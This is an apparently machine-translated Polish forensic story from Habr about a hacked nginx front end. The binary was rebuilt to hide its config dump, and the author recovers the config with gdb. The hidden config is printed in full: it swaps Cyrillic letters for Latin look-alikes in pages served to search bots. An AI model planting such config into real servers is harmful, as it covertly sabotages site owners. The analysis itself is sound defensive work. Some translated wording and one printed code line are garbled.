Niezbyt przyjemna historia zdarzyła się jednemu z moich znajomych. Ale na ile była nieprzyjemna dla Michała, na tyle interesująca dla mnie.
Muszę powiedzieć, że mój przyjaciel jest całkiem UNIX- użytkownik: może sam zainstalować system, skonfigurować mysql, php i dokonać prostych ustawień. nginx.
Ma z dziesięć, może piętnaście stron poświęconych narzędziom budowlanym.
Jedna z tych stron, poświęcona piłom łańcuchowym, znajduje się w ścisłej czołówce wyszukiwarek. Strona ta jest niekomercyjna, ale komuś przeszkadza i postanowili ją zaatakować. To DDoS, to brute force, to piszą niedopuszczalne komentarze i wysyłają skargi do hostingu i w RKN.
Nagle wszystko ucichło i ta cisza okazała się złowroga, a strona zaczęła stopniowo spadać w wynikach wyszukiwania.

To była wstępka, dalej sama historia administratora.
Czas zbliżał się do snu, gdy zadzwonił telefon: „Sanek, nie spojrzysz na mój serwer? Wydaje mi się, że mnie zhakowano, nie mogę tego udowodnić, ale to uczucie nie opuszcza mnie już trzeci tydzień. Może po prostu powinienem leczyć się z paranoi?”
Dalej poszło półgodzinne omówienie, które można krótko podsumować tak:
- grunt do włamania był całkiem żyzny;
- haker mógł uzyskać prawa superużytkownika;
- atak (jeśli rzeczywiście miał miejsce) był celowy i właśnie na tę stronę;
- problematyczne miejsca zostały naprawione i trzeba tylko zrozumieć, czy rzeczywiście doszło do włamania;
- włamanie nie mogło dotknąć kodu strony ani baz danych.
Jeśli chodzi o ostatni punkt.

Na świat patrzy tylko biały IP frontendowy. Między backendami a frontendem nie ma żadnej wymiany poza http(s), użytkownicy/hasła są różne, kluczy nie wymieniano. Na szarych adresach wszystkie porty poza 80/443 są zamknięte. Białe IP backendów są znane tylko dwóm użytkownikom, którym Michał w pełni ufa.
Na frontendzie zainstalowano Debian 9 i w momencie telefonu system był odizolowany od świata zewnętrznego przez firewall i został zatrzymany.
„Ok, daj dostęp, — postanawiam odłożyć sen na godzinkę. — Spojrzę swoim okiem.”
Tutaj i dalej:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
W poszukiwaniu ewentualnego włamania
Uruchamiam serwer, najpierw w trybie ratunkowym.Montaż dysków, przeglądanie logów auth-logi, historia, system logi itp., w miarę możliwości sprawdzam daty utworzenia plików, chociaż rozumiem, że normalny haker „posprzątałby” za sobą, a Misha już sporo „nagonił”, kiedy sam szukał.
Startuję w normalnym trybie, na razie nie bardzo wiedząc, czego szukać, analizuję pliki konfiguracyjne. W pierwszej kolejności interesuje mnie nginx ponieważ, w sumie, na froncie nie ma nic poza tym.
Pliki konfiguracyjne są niewielkie, dobrze zorganizowane w kilkunastu plikach, przeglądam je po prostu cat’po kolei. Wydaje się, że wszystko jest czyste, ale nigdy nie wiadomo, czy nie przeoczyłem jakiegoś include, więc zróbmy pełną listę:
$ nginx -T
nginx: plik konfiguracyjny /usr/local/etc/nginx/nginx.conf ma poprawną składnię
nginx: test pliku konfiguracyjnego /usr/local/etc/nginx/nginx.conf zakończył się sukcesem
Nie rozumiem: „Gdzie ta lista?”
$ nginx -V
wersja nginx: nginx/1.10.3
Wsparcie TLS SNI włączone
argumenty konfiguracyjne: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
W kwestii listy pojawia się drugie pytanie: „Dlaczego taka stara wersja nginx?”
Poza tym system uważa, że wersja jest zainstalowana nowsza:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all mały, potężny, skalowalny serwer web/proxy
Dzwonię:
— Misha, czemu przebudowywałeś nginx?
— Ogarnij się, nie wiem nawet, jak to zrobić!
— Ok, no, śpij...
Nginx zdecydowanie został przebudowany, a wynik listy z „-T” jest ukrywany nie bez powodu. Nie ma już wątpliwości co do włamania i można to po prostu zaakceptować i (ponieważ Misha tak czy inaczej wymienił serwer na nowy) uznać problem za rozwiązany.
I rzeczywiście, skoro ktoś uzyskał uprawnienia root'a, ma sens robienie tylko system reinstall, a szukanie, co tam zostało namieszane, jest bezsensowne, ale tym razem ciekawość zwyciężyła nad snem. Jak dobrze wiedzieć, co chcieli nam ukryć?
Spróbujemy prześledzić:
$ strace nginx -T
Przeglądamy, w trasowaniu ewidentnie brakuje linii typu
write(1, "/etc/nginx/nginx.conf", 21)/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Z ciekawości porównujemy wyniki
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Myślę, że część kodu /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
przekształcono na:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
\/\/ngx_dump_config = 1;
break;
lub
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
dlatego listowanie po „-T” się nie wyświetla.
Ale jak możemy zobaczyć nasz konfig?
Jeżeli dobrze myślę, problem polega tylko na zmiennej ngx_dump_config spróbujmy ustawić ją za pomocą gdb, na szczęście klucz —with-cc-opt -g jest obecny i mamy nadzieję, że optymalizacja -O2 nam nie zaszkodzi. Ponieważ nie wiem, jak ngx_dump_config można to było przetworzyć w case ‘T’:, nie będziemy wywoływać tego bloku, a ustalimy ją używając case ‘t’:
Dlaczego można używać ‘-t’ obok ‘-T’Przetwarzanie bloku if(ngx_dump_config) dzieje się wewnątrz if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "plik konfiguracyjny %s test jest pomyślny",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i config_dump.nelts; i++) {
ngx_write_stdout("# plik konfiguracyjny ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Oczywiście, jeśli kod został zmieniony w tej części, a nie w case ‘T’:, to mój sposób nie zadziała.
Testowy nginx.confJuż rozwiązując problem doświadczalnie stwierdzono, że do działania złośliwego oprogramowania potrzebny jest minimalny konfig nginx w postaci:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
To będziemy używać dla zwięzłości w artykule.
Uruchamiamy debugger
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
Kroki:
- ustalamy punkt przerwania w funkcji main()
- uruchamiamy program
- zmieniamy wartość zmiennej określającej wyjście konfiguracji ngx_dump_config=1
- kontynuujemy/zatrzymujemy program
Jak widzimy, rzeczywista konfiguracja różni się od naszej, wydzielamy z niej niechciany fragment:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Przyjrzyjmy się po kolei, co tutaj się dzieje.
Są definiowane User-Agent‘yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Wykluczane są strony pomocnicze wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
I dla tych, którzy spełnili oba powyższe warunki
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
w tekście html-strona zmienia się ‘о’ na ‘o’ i ‘а’ na ‘a’:
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Dokładnie tak, subtelność polega tylko na tym, że ‘а’ != ‘a’ tak samo jak ‘о’ != ‘o’:

W ten sposób boty wyszukiwarek zamiast normalnego 100%-cyrylicznego tekstu otrzymują zmieniony śmieć przemycony z łacińskim ‘a’ i ‘o’. Nie biorę się za rozważania, jak to wpływa na SEO, ale mało prawdopodobne jest, by taka literowa mishmash pozytywnie wpłynęła na pozycje w wynikach.
Co tu powiedzieć, ludzie z wyobraźnią.
Linki
Źródło: habr.com
